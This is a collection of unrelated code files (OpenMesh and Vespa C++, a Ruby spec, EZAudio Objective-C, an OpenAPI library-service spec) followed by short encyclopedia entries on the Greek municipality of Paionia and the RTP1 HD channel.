```c++ /* ========================================================================= * * * * OpenMesh * * Department of Computer Graphics and Multimedia * * All rights reserved. * * www.openmesh.org * * * *your_sha256_hash-----------* * This file is part of OpenMesh. * *your_sha256_hash-----------* * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * * * 1. Redistributions of source code must retain the above copyright notice, * * this list of conditions and the following disclaimer. * * * * 2. Redistributions in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * * * 3. Neither the name of the copyright holder nor the names of its * * contributors may be used to endorse or promote products derived from * * this software without specific prior written permission. * * * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER * * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * * * ========================================================================= */ /*===========================================================================*\ * * * $Revision$ * * $Date$ * * * \*===========================================================================*/ //============================================================================= // // CLASS mostream - IMPLEMENTATION // //============================================================================= //== INCLUDES ================================================================= #include <OpenMesh/Core/System/omstream.hh> #include <iostream> //== IMPLEMENTATION ========================================================== OpenMesh::mostream& omlog() { static bool initialized = false; static OpenMesh::mostream mystream; if (!initialized) { mystream.connect(std::clog); #ifdef NDEBUG mystream.disable(); #endif initialized = true; } return mystream; } OpenMesh::mostream& omout() { static bool initialized = false; static OpenMesh::mostream mystream; if (!initialized) { mystream.connect(std::cout); initialized = true; } return mystream; } OpenMesh::mostream& omerr() { static bool initialized = false; static OpenMesh::mostream mystream; if (!initialized) { mystream.connect(std::cerr); initialized = true; } return mystream; } //============================================================================= ```
```c++ #include "threading_service_config.h" #include <vespa/config-proton.h> #include <cmath> namespace proton { using ProtonConfig = ThreadingServiceConfig::ProtonConfig; using OptimizeFor = vespalib::Executor::OptimizeFor; ThreadingServiceConfig::ThreadingServiceConfig(uint32_t master_task_limit_, int32_t defaultTaskLimit_, OptimizeFor optimize_, uint32_t kindOfWatermark_, vespalib::duration reactionTime_) : _master_task_limit(master_task_limit_), _defaultTaskLimit(std::abs(defaultTaskLimit_)), _is_task_limit_hard(defaultTaskLimit_ >= 0), _optimize(optimize_), _kindOfWatermark(kindOfWatermark_), _reactionTime(reactionTime_) { } namespace { OptimizeFor selectOptimization(ProtonConfig::Indexing::Optimize optimize) { using CfgOptimize = ProtonConfig::Indexing::Optimize; switch (optimize) { case CfgOptimize::LATENCY: return OptimizeFor::LATENCY; case CfgOptimize::THROUGHPUT: return OptimizeFor::THROUGHPUT; case CfgOptimize::ADAPTIVE: return OptimizeFor::ADAPTIVE; } return OptimizeFor::LATENCY; } } ThreadingServiceConfig ThreadingServiceConfig::make(const ProtonConfig& cfg) { return ThreadingServiceConfig(cfg.feeding.masterTaskLimit, cfg.indexing.tasklimit, selectOptimization(cfg.indexing.optimize), cfg.indexing.kindOfWatermark, vespalib::from_s(cfg.indexing.reactiontime)); } ThreadingServiceConfig ThreadingServiceConfig::make() { return ThreadingServiceConfig(0, 100, OptimizeFor::LATENCY, 0, 10ms); } void ThreadingServiceConfig::update(const ThreadingServiceConfig& cfg) { _master_task_limit = cfg._master_task_limit; _defaultTaskLimit = cfg._defaultTaskLimit; } bool ThreadingServiceConfig::operator==(const ThreadingServiceConfig &rhs) const { return _master_task_limit == rhs._master_task_limit && _defaultTaskLimit == rhs._defaultTaskLimit && _is_task_limit_hard == rhs._is_task_limit_hard && _optimize == rhs._optimize && _kindOfWatermark == rhs._kindOfWatermark && _reactionTime == rhs._reactionTime; } } ```
```ruby require_relative '../../spec_helper' require_relative '../../shared/process/exit' describe "Process.exit" do it_behaves_like :process_exit, :exit, Process end describe "Process.exit!" do it_behaves_like :process_exit!, :exit!, "Process" end ```
```css Importer Sass Mixins Referencing Parent Selectors Sass Supported Comments @-Rules and Directives ```
```objective-c // // EZAudioFile.m // EZAudio // // Created by Syed Haris Ali on 12/1/13. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #import "EZAudioFile.h" //your_sha256_hash-------------- #import "EZAudio.h" #import "EZAudioFloatConverter.h" #import "EZAudioFloatData.h" #include <pthread.h> // constants static UInt32 EZAudioFileWaveformDefaultResolution = 1024; static NSString *EZAudioFileWaveformDataQueueIdentifier = @"com.ezaudio.waveformQueue"; //your_sha256_hash-------------- typedef struct { AudioFileID audioFileID; AudioStreamBasicDescription clientFormat; NSTimeInterval duration; ExtAudioFileRef extAudioFileRef; AudioStreamBasicDescription fileFormat; SInt64 frames; CFURLRef sourceURL; } EZAudioFileInfo; //your_sha256_hash-------------- #pragma mark - EZAudioFile //your_sha256_hash-------------- @interface EZAudioFile () @property (nonatomic, strong) EZAudioFloatConverter *floatConverter; @property (nonatomic) float **floatData; @property (nonatomic) EZAudioFileInfo *info; @property (nonatomic) pthread_mutex_t lock; @property (nonatomic) dispatch_queue_t waveformQueue; @end //your_sha256_hash-------------- @implementation EZAudioFile //your_sha256_hash-------------- #pragma mark - Dealloc //your_sha256_hash-------------- - (void)dealloc { self.floatConverter = nil; pthread_mutex_destroy(&_lock); [EZAudioUtilities freeFloatBuffers:self.floatData numberOfChannels:self.clientFormat.mChannelsPerFrame]; [EZAudioUtilities checkResult:ExtAudioFileDispose(self.info->extAudioFileRef) operation:"Failed to dispose of ext audio file"]; free(self.info); } //your_sha256_hash-------------- #pragma mark - Initialization //your_sha256_hash-------------- - (instancetype)init { self = [super init]; if (self) { self.info = (EZAudioFileInfo *)malloc(sizeof(EZAudioFileInfo)); _floatData = NULL; pthread_mutex_init(&_lock, NULL); _waveformQueue = dispatch_queue_create(EZAudioFileWaveformDataQueueIdentifier.UTF8String, DISPATCH_QUEUE_PRIORITY_DEFAULT); } return self; } //your_sha256_hash-------------- - (instancetype)initWithURL:(NSURL *)url { return [self initWithURL:url delegate:nil]; } //your_sha256_hash-------------- - (instancetype)initWithURL:(NSURL *)url delegate:(id<EZAudioFileDelegate>)delegate { return [self initWithURL:url delegate:delegate clientFormat:[self.class defaultClientFormat]]; } //your_sha256_hash-------------- - (instancetype)initWithURL:(NSURL *)url delegate:(id<EZAudioFileDelegate>)delegate clientFormat:(AudioStreamBasicDescription)clientFormat { self = [self init]; if (self) { self.info->sourceURL = (__bridge CFURLRef)(url); self.info->clientFormat = clientFormat; self.delegate = delegate; if (![self setup]) { return nil; } } return self; } //your_sha256_hash-------------- #pragma mark - Class Initializers //your_sha256_hash-------------- + (instancetype)audioFileWithURL:(NSURL *)url { return [[self alloc] initWithURL:url]; } //your_sha256_hash-------------- + (instancetype)audioFileWithURL:(NSURL *)url delegate:(id<EZAudioFileDelegate>)delegate { return [[self alloc] initWithURL:url delegate:delegate]; } //your_sha256_hash-------------- + (instancetype)audioFileWithURL:(NSURL *)url delegate:(id<EZAudioFileDelegate>)delegate clientFormat:(AudioStreamBasicDescription)clientFormat { return [[self alloc] initWithURL:url delegate:delegate clientFormat:clientFormat]; } //your_sha256_hash-------------- #pragma mark - NSCopying //your_sha256_hash-------------- - (id)copyWithZone:(NSZone *)zone { return [EZAudioFile audioFileWithURL:self.url]; } //your_sha256_hash-------------- #pragma mark - Class Methods //your_sha256_hash-------------- + (AudioStreamBasicDescription)defaultClientFormat { return [EZAudioUtilities stereoFloatNonInterleavedFormatWithSampleRate:[self defaultClientFormatSampleRate]]; } //your_sha256_hash-------------- + (Float64)defaultClientFormatSampleRate { return 44100.0f; } //your_sha256_hash-------------- + (NSArray *)supportedAudioFileTypes { return @ [ @"aac", @"caf", @"aif", @"aiff", @"aifc", @"mp3", @"mp4", @"m4a", @"snd", @"au", @"sd2", @"wav" ]; } //your_sha256_hash-------------- #pragma mark - Setup //your_sha256_hash-------------- - (BOOL)setup { // // Try to open the file, bail if the file could not be opened // BOOL success = [self openAudioFile]; if (!success) { return success; } // // Set the client format // self.clientFormat = self.info->clientFormat; return YES; } //your_sha256_hash-------------- #pragma mark - Creating/Opening Audio File //your_sha256_hash-------------- - (BOOL)openAudioFile { // // Need a source url // NSAssert(self.info->sourceURL, @"EZAudioFile cannot be created without a source url!"); // // Determine if the file actually exists // CFURLRef url = self.info->sourceURL; NSURL *fileURL = (__bridge NSURL *)(url); BOOL fileExists = [[NSFileManager defaultManager] fileExistsAtPath:fileURL.path]; // // Create an ExtAudioFileRef for the file handle // if (fileExists) { [EZAudioUtilities checkResult:ExtAudioFileOpenURL(url, &self.info->extAudioFileRef) operation:"Failed to create ExtAudioFileRef"]; } else { return NO; } // // Get the underlying AudioFileID // UInt32 propSize = sizeof(self.info->audioFileID); [EZAudioUtilities checkResult:ExtAudioFileGetProperty(self.info->extAudioFileRef, kExtAudioFileProperty_AudioFile, &propSize, &self.info->audioFileID) operation:"Failed to get underlying AudioFileID"]; // // Store the file format // propSize = sizeof(self.info->fileFormat); [EZAudioUtilities checkResult:ExtAudioFileGetProperty(self.info->extAudioFileRef, kExtAudioFileProperty_FileDataFormat, &propSize, &self.info->fileFormat) operation:"Failed to get file audio format on existing audio file"]; // // Get the total frames and duration // propSize = sizeof(SInt64); [EZAudioUtilities checkResult:ExtAudioFileGetProperty(self.info->extAudioFileRef, kExtAudioFileProperty_FileLengthFrames, &propSize, &self.info->frames) operation:"Failed to get total frames"]; self.info->duration = (NSTimeInterval) self.info->frames / self.info->fileFormat.mSampleRate; return YES; } //your_sha256_hash-------------- #pragma mark - Events //your_sha256_hash-------------- - (void)readFrames:(UInt32)frames audioBufferList:(AudioBufferList *)audioBufferList bufferSize:(UInt32 *)bufferSize eof:(BOOL *)eof { if (pthread_mutex_trylock(&_lock) == 0) { // perform read [EZAudioUtilities checkResult:ExtAudioFileRead(self.info->extAudioFileRef, &frames, audioBufferList) operation:"Failed to read audio data from file"]; *bufferSize = frames; *eof = frames == 0; // // Notify delegate // if ([self.delegate respondsToSelector:@selector(audioFileUpdatedPosition:)]) { [self.delegate audioFileUpdatedPosition:self]; } // // Deprecated, but supported until 1.0 // #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" if ([self.delegate respondsToSelector:@selector(audioFile:updatedPosition:)]) { [self.delegate audioFile:self updatedPosition:[self frameIndex]]; } #pragma GCC diagnostic pop if ([self.delegate respondsToSelector:@selector(audioFile:readAudio:withBufferSize:withNumberOfChannels:)]) { // convert into float data [self.floatConverter convertDataFromAudioBufferList:audioBufferList withNumberOfFrames:*bufferSize toFloatBuffers:self.floatData]; // notify delegate UInt32 channels = self.clientFormat.mChannelsPerFrame; [self.delegate audioFile:self readAudio:self.floatData withBufferSize:*bufferSize withNumberOfChannels:channels]; } pthread_mutex_unlock(&_lock); } } //your_sha256_hash-------------- - (void)seekToFrame:(SInt64)frame { if (pthread_mutex_trylock(&_lock) == 0) { [EZAudioUtilities checkResult:ExtAudioFileSeek(self.info->extAudioFileRef, frame) operation:"Failed to seek frame position within audio file"]; pthread_mutex_unlock(&_lock); // // Notify delegate // if ([self.delegate respondsToSelector:@selector(audioFileUpdatedPosition:)]) { [self.delegate audioFileUpdatedPosition:self]; } // // Deprecated, but supported until 1.0 // #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" if ([self.delegate respondsToSelector:@selector(audioFile:updatedPosition:)]) { [self.delegate audioFile:self updatedPosition:[self frameIndex]]; } #pragma GCC diagnostic pop } } //your_sha256_hash-------------- #pragma mark - Getters //your_sha256_hash-------------- - (AudioStreamBasicDescription)floatFormat { return [EZAudioUtilities stereoFloatNonInterleavedFormatWithSampleRate:44100.0f]; } //your_sha256_hash-------------- - (EZAudioFloatData *)getWaveformData { return [self getWaveformDataWithNumberOfPoints:EZAudioFileWaveformDefaultResolution]; } //your_sha256_hash-------------- - (EZAudioFloatData *)getWaveformDataWithNumberOfPoints:(UInt32)numberOfPoints { EZAudioFloatData *waveformData; if (pthread_mutex_trylock(&_lock) == 0) { // store current frame SInt64 currentFrame = self.frameIndex; BOOL interleaved = [EZAudioUtilities isInterleaved:self.clientFormat]; UInt32 channels = self.clientFormat.mChannelsPerFrame; if (channels == 0) { // prevent division by zero pthread_mutex_unlock(&_lock); return nil; } float **data = (float **)malloc( sizeof(float*) * channels ); for (int i = 0; i < channels; i++) { data[i] = (float *)malloc( sizeof(float) * numberOfPoints ); } // seek to 0 [EZAudioUtilities checkResult:ExtAudioFileSeek(self.info->extAudioFileRef, 0) operation:"Failed to seek frame position within audio file"]; // calculate the required number of frames per buffer SInt64 framesPerBuffer = ((SInt64) self.totalClientFrames / numberOfPoints); SInt64 framesPerChannel = framesPerBuffer / channels; // allocate an audio buffer list AudioBufferList *audioBufferList = [EZAudioUtilities audioBufferListWithNumberOfFrames:(UInt32)framesPerBuffer numberOfChannels:self.info->clientFormat.mChannelsPerFrame interleaved:interleaved]; // read through file and calculate rms at each point for (SInt64 i = 0; i < numberOfPoints; i++) { UInt32 bufferSize = (UInt32) framesPerBuffer; [EZAudioUtilities checkResult:ExtAudioFileRead(self.info->extAudioFileRef, &bufferSize, audioBufferList) operation:"Failed to read audio data from file waveform"]; if (interleaved) { float *buffer = (float *)audioBufferList->mBuffers[0].mData; for (int channel = 0; channel < channels; channel++) { float channelData[framesPerChannel]; for (int frame = 0; frame < framesPerChannel; frame++) { channelData[frame] = buffer[frame * channels + channel]; } float rms = [EZAudioUtilities RMS:channelData length:(UInt32)framesPerChannel]; data[channel][i] = rms; } } else { for (int channel = 0; channel < channels; channel++) { float *channelData = audioBufferList->mBuffers[channel].mData; float rms = [EZAudioUtilities RMS:channelData length:bufferSize]; data[channel][i] = rms; } } } // clean up [EZAudioUtilities freeBufferList:audioBufferList]; // seek back to previous position [EZAudioUtilities checkResult:ExtAudioFileSeek(self.info->extAudioFileRef, currentFrame) operation:"Failed to seek frame position within audio file"]; pthread_mutex_unlock(&_lock); waveformData = [EZAudioFloatData dataWithNumberOfChannels:channels buffers:(float **)data bufferSize:numberOfPoints]; // cleanup for (int i = 0; i < channels; i++) { free(data[i]); } free(data); } return waveformData; } //your_sha256_hash-------------- - (void)getWaveformDataWithCompletionBlock:(EZAudioWaveformDataCompletionBlock)waveformDataCompletionBlock { [self getWaveformDataWithNumberOfPoints:EZAudioFileWaveformDefaultResolution completion:waveformDataCompletionBlock]; } //your_sha256_hash-------------- - (void)getWaveformDataWithNumberOfPoints:(UInt32)numberOfPoints completion:(EZAudioWaveformDataCompletionBlock)completion { if (!completion) { return; } // async get waveform data __weak EZAudioFile *weakSelf = self; dispatch_async(self.waveformQueue, ^{ EZAudioFloatData *waveformData = [weakSelf getWaveformDataWithNumberOfPoints:numberOfPoints]; dispatch_async(dispatch_get_main_queue(), ^{ completion(waveformData.buffers, waveformData.bufferSize); }); }); } //your_sha256_hash-------------- - (AudioStreamBasicDescription)clientFormat { return self.info->clientFormat; } //your_sha256_hash-------------- - (NSTimeInterval)currentTime { return [EZAudioUtilities MAP:(float)[self frameIndex] leftMin:0.0f leftMax:(float)[self totalFrames] rightMin:0.0f rightMax:[self duration]]; } //your_sha256_hash-------------- - (NSTimeInterval)duration { return self.info->duration; } //your_sha256_hash-------------- - (AudioStreamBasicDescription)fileFormat { return self.info->fileFormat; } //your_sha256_hash-------------- - (NSString *)formattedCurrentTime { return [EZAudioUtilities displayTimeStringFromSeconds:[self currentTime]]; } //your_sha256_hash-------------- - (NSString *)formattedDuration { return [EZAudioUtilities displayTimeStringFromSeconds:[self duration]]; } //your_sha256_hash-------------- - (SInt64)frameIndex { SInt64 frameIndex; [EZAudioUtilities checkResult:ExtAudioFileTell(self.info->extAudioFileRef, &frameIndex) operation:"Failed to get frame index"]; return frameIndex; } //your_sha256_hash-------------- - (NSDictionary *)metadata { // get size of metadata property (dictionary) UInt32 propSize = sizeof(self.info->audioFileID); CFDictionaryRef metadata; UInt32 writable; [EZAudioUtilities checkResult:AudioFileGetPropertyInfo(self.info->audioFileID, kAudioFilePropertyInfoDictionary, &propSize, &writable) operation:"Failed to get the size of the metadata dictionary"]; // pull metadata [EZAudioUtilities checkResult:AudioFileGetProperty(self.info->audioFileID, kAudioFilePropertyInfoDictionary, &propSize, &metadata) operation:"Failed to get metadata dictionary"]; // cast to NSDictionary return (__bridge NSDictionary*)metadata; } //your_sha256_hash-------------- - (NSTimeInterval)totalDuration { return self.info->duration; } //your_sha256_hash-------------- - (SInt64)totalClientFrames { SInt64 totalFrames = [self totalFrames]; AudioStreamBasicDescription clientFormat = self.info->clientFormat; AudioStreamBasicDescription fileFormat = self.info->fileFormat; BOOL sameSampleRate = clientFormat.mSampleRate == fileFormat.mSampleRate; if (!sameSampleRate) { totalFrames = self.info->duration * clientFormat.mSampleRate; } return totalFrames; } //your_sha256_hash-------------- - (SInt64)totalFrames { return self.info->frames; } //your_sha256_hash-------------- - (NSURL *)url { return (__bridge NSURL*)self.info->sourceURL; } //your_sha256_hash-------------- #pragma mark - Setters //your_sha256_hash-------------- - (void)setClientFormat:(AudioStreamBasicDescription)clientFormat { // // Clear any float data currently cached // if (self.floatData) { self.floatData = nil; } // // Client format can only be linear PCM! // NSAssert([EZAudioUtilities isLinearPCM:clientFormat], @"Client format must be linear PCM"); // // Store the client format // self.info->clientFormat = clientFormat; // // Set the client format on the ExtAudioFileRef // [EZAudioUtilities checkResult:ExtAudioFileSetProperty(self.info->extAudioFileRef, kExtAudioFileProperty_ClientDataFormat, sizeof(clientFormat), &clientFormat) operation:"Couldn't set client data format on file"]; // // Create a new float converter using the client format as the input format // self.floatConverter = [EZAudioFloatConverter converterWithInputFormat:clientFormat]; // // Determine how big our float buffers need to be to hold a buffer of float // data for the audio received callback. // UInt32 maxPacketSize; UInt32 propSize = sizeof(maxPacketSize); [EZAudioUtilities checkResult:ExtAudioFileGetProperty(self.info->extAudioFileRef, kExtAudioFileProperty_ClientMaxPacketSize, &propSize, &maxPacketSize) operation:"Failed to get max packet size"]; self.floatData = [EZAudioUtilities floatBuffersWithNumberOfFrames:1024 numberOfChannels:self.clientFormat.mChannelsPerFrame]; } //your_sha256_hash-------------- - (void)setCurrentTime:(NSTimeInterval)currentTime { NSAssert(currentTime < [self duration], @"Invalid seek operation, expected current time to be less than duration"); SInt64 frame = [EZAudioUtilities MAP:currentTime leftMin:0.0f leftMax:[self duration] rightMin:0.0f rightMax:[self totalFrames]]; [self seekToFrame:frame]; } //your_sha256_hash-------------- #pragma mark - Description //your_sha256_hash-------------- - (NSString *)description { return [NSString stringWithFormat:@"%@ {\n" " url: %@,\n" " duration: %f,\n" " totalFrames: %lld,\n" " metadata: %@,\n" " fileFormat: { %@ },\n" " clientFormat: { %@ } \n" "}", [super description], [self url], [self duration], [self totalFrames], [self metadata], [EZAudioUtilities stringForAudioStreamBasicDescription:[self fileFormat]], [EZAudioUtilities stringForAudioStreamBasicDescription:[self clientFormat]]]; } //your_sha256_hash-------------- @end ```
```yaml # Generated with protoc-gen-openapi # path_to_url openapi: 3.0.3 info: title: LibraryService API description: |- This API represents a simple digital library. It lets you manage Shelf resources and Book resources in the library. It defines the following resource model: - The API has a collection of [Shelf][google.example.library.v1.Shelf] resources, named `shelves/*` - Each Shelf has a collection of [Book][google.example.library.v1.Book] resources, named `shelves/*/books/*` version: 1.2.3 servers: - url: path_to_url paths: /v1/shelves: get: tags: - LibraryService description: |- Lists shelves. The order is unspecified but deterministic. Newly created shelves will not necessarily be added to the end of this list. operationId: LibraryService_ListShelves parameters: - name: pageSize in: query description: |- Requested page size. Server may return fewer shelves than requested. If unspecified, server will pick an appropriate default. schema: type: integer format: int32 - name: pageToken in: query description: |- A token identifying a page of results the server should return. Typically, this is the value of [ListShelvesResponse.next_page_token][google.example.library.v1.ListShelvesResponse.next_page_token] returned from the previous call to `ListShelves` method. schema: type: string responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/ListShelvesResponse' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' post: tags: - LibraryService description: Creates a shelf, and returns the new Shelf. operationId: LibraryService_CreateShelf requestBody: content: application/json: schema: $ref: '#/components/schemas/Shelf' required: true responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Shelf' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' /v1/shelves/{shelf}: get: tags: - LibraryService description: Gets a shelf. Returns NOT_FOUND if the shelf does not exist. operationId: LibraryService_GetShelf parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Shelf' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' delete: tags: - LibraryService description: Deletes a shelf. Returns NOT_FOUND if the shelf does not exist. operationId: LibraryService_DeleteShelf parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string responses: "200": description: OK content: {} default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' /v1/shelves/{shelf}/books: get: tags: - LibraryService description: |- Lists books in a shelf. The order is unspecified but deterministic. Newly created books will not necessarily be added to the end of this list. Returns NOT_FOUND if the shelf does not exist. operationId: LibraryService_ListBooks parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string - name: pageSize in: query description: |- Requested page size. Server may return fewer books than requested. If unspecified, server will pick an appropriate default. schema: type: integer format: int32 - name: pageToken in: query description: |- A token identifying a page of results the server should return. Typically, this is the value of [ListBooksResponse.next_page_token][google.example.library.v1.ListBooksResponse.next_page_token]. returned from the previous call to `ListBooks` method. schema: type: string responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/ListBooksResponse' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' post: tags: - LibraryService description: Creates a book, and returns the new Book. operationId: LibraryService_CreateBook parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string requestBody: content: application/json: schema: $ref: '#/components/schemas/Book' required: true responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Book' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' /v1/shelves/{shelf}/books/{book}: get: tags: - LibraryService description: Gets a book. Returns NOT_FOUND if the book does not exist. operationId: LibraryService_GetBook parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string - name: book in: path description: The book id. required: true schema: type: string responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Book' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' put: tags: - LibraryService description: |- Updates a book. Returns INVALID_ARGUMENT if the name of the book is non-empty and does not equal the existing name. operationId: LibraryService_UpdateBook parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string - name: book in: path description: The book id. required: true schema: type: string - name: name in: query description: The name of the book to update. schema: type: string requestBody: content: application/json: schema: $ref: '#/components/schemas/Book' required: true responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Book' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' delete: tags: - LibraryService description: Deletes a book. Returns NOT_FOUND if the book does not exist. operationId: LibraryService_DeleteBook parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string - name: book in: path description: The book id. required: true schema: type: string responses: "200": description: OK content: {} default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' /v1/shelves/{shelf}/books/{book}:move: post: tags: - LibraryService description: |- Moves a book to another shelf, and returns the new book. The book id of the new book may not be the same as the original book. operationId: LibraryService_MoveBook parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string - name: book in: path description: The book id. required: true schema: type: string requestBody: content: application/json: schema: $ref: '#/components/schemas/MoveBookRequest' required: true responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Book' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' /v1/shelves/{shelf}:merge: post: tags: - LibraryService description: |- Merges two shelves by adding all books from the shelf named `other_shelf_name` to shelf `name`, and deletes `other_shelf_name`. Returns the updated shelf. The book ids of the moved books may not be the same as the original books. Returns NOT_FOUND if either shelf does not exist. This call is a no-op if the specified shelves are the same. operationId: LibraryService_MergeShelves parameters: - name: shelf in: path description: The shelf id. required: true schema: type: string requestBody: content: application/json: schema: $ref: '#/components/schemas/MergeShelvesRequest' required: true responses: "200": description: OK content: application/json: schema: $ref: '#/components/schemas/Shelf' default: description: Default error response content: application/json: schema: $ref: '#/components/schemas/Status' components: schemas: Book: required: - name type: object properties: name: type: string description: |- The resource name of the book. Book names have the form `shelves/{shelf_id}/books/{book_id}`. The name is ignored when creating a book. author: type: string description: The name of the book author. title: type: string description: The title of the book. read: type: boolean description: Value indicating whether the book has been read. borrowTime: readOnly: true type: string description: The previous borrowing timestamp. format: date-time createdAt: readOnly: true type: string description: The creation date and time. format: date-time updatedAt: readOnly: true type: string description: The last update date and time. format: date-time description: A single book in the library. GoogleProtobufAny: type: object properties: '@type': type: string description: The type of the serialized message. additionalProperties: true description: Contains an arbitrary serialized message along with a @type that describes the type of the serialized message. ListBooksResponse: type: object properties: books: type: array items: $ref: '#/components/schemas/Book' description: The list of books. nextPageToken: type: string description: |- A token to retrieve next page of results. Pass this value in the [ListBooksRequest.page_token][google.example.library.v1.ListBooksRequest.page_token] field in the subsequent call to `ListBooks` method to retrieve the next page of results. description: Response message for LibraryService.ListBooks. ListShelvesResponse: type: object properties: shelves: type: array items: $ref: '#/components/schemas/Shelf' description: The list of shelves. nextPageToken: type: string description: |- A token to retrieve next page of results. Pass this value in the [ListShelvesRequest.page_token][google.example.library.v1.ListShelvesRequest.page_token] field in the subsequent call to `ListShelves` method to retrieve the next page of results. description: Response message for LibraryService.ListShelves. MergeShelvesRequest: required: - name - otherShelfName type: object properties: name: type: string description: The name of the shelf we're adding books to. otherShelfName: type: string description: The name of the shelf we're removing books from and deleting. description: |- Describes the shelf being removed (other_shelf_name) and updated (name) in this merge. MoveBookRequest: required: - name - otherShelfName type: object properties: name: type: string description: The name of the book to move. otherShelfName: type: string description: The name of the destination shelf. description: |- Describes what book to move (name) and what shelf we're moving it to (other_shelf_name). Shelf: required: - name type: object properties: name: type: string description: |- The resource name of the shelf. Shelf names have the form `shelves/{shelf_id}`. The name is ignored when creating a shelf. theme: type: string description: The theme of the shelf nextSortAt: readOnly: true type: string description: The next sorting date. format: date createdAt: readOnly: true type: string description: The creation date and time. format: date-time updatedAt: readOnly: true type: string description: The last update date and time. format: date-time description: A Shelf contains a collection of books with a theme. Status: type: object properties: code: type: integer description: The status code, which should be an enum value of [google.rpc.Code][google.rpc.Code]. format: int32 message: type: string description: A developer-facing error message, which should be in English. Any user-facing error message should be localized and sent in the [google.rpc.Status.details][google.rpc.Status.details] field, or localized by the client. details: type: array items: $ref: '#/components/schemas/GoogleProtobufAny' description: A list of messages that carry the error details. There is a common set of message types for APIs to use. description: 'The `Status` type defines a logical error model that is suitable for different programming environments, including REST APIs and RPC APIs. It is used by [gRPC](path_to_url Each `Status` message contains three pieces of data: error code, error message, and error details. You can find out more about this error model and how to work with it in the [API Design Guide](path_to_url tags: - name: LibraryService ```
Paionia (, ) is a municipality in the Kilkis regional unit of Central Macedonia, Greece. The seat of the municipality is the town Polykastro. The municipality is named after the ancient region of Paeonia. It has an area of 919.276 km2. Municipality The municipality Paionia was formed at the 2011 local government reform by the merger of the following 5 former municipalities, that became municipal units: Axioupoli Evropos Goumenissa Livadia Polykastro Province The province of Paionia () was one of the provinces of the Kilkis Prefecture. Its territory corresponded with that of the current municipality Paionia, except the municipal unit Polykastro. It was abolished in 2006. References Municipalities of Central Macedonia Populated places in Kilkis (regional unit) Provinces of Greece
RTP1 HD was RTP's HDTV channel. In 2008 it broadcast the 2008 Summer Olympics in HD on ZON's cable and satellite platforms. It is also marketed as RTP1 HD, when broadcasting RTP1 programming. The channel closed on November 28, 2017, after the test period ended and RTP1 got a proper HD simulcast. The channel reopened for a few days after technical problems arose, but was shut down after the proper HD simulcast was able to broadcast once more. Programming Sports UEFA Champions League Portugal national football team qualifying matches Volta a Portugal Series Bem-Vindos a Beirais Soap operas Os Nossos Dias (now) Other Festival RTP da Canção Eurovision Song Contest Television stations in Portugal Television channels and stations established in 2009 Rádio e Televisão de Portugal 2009 establishments in Portugal
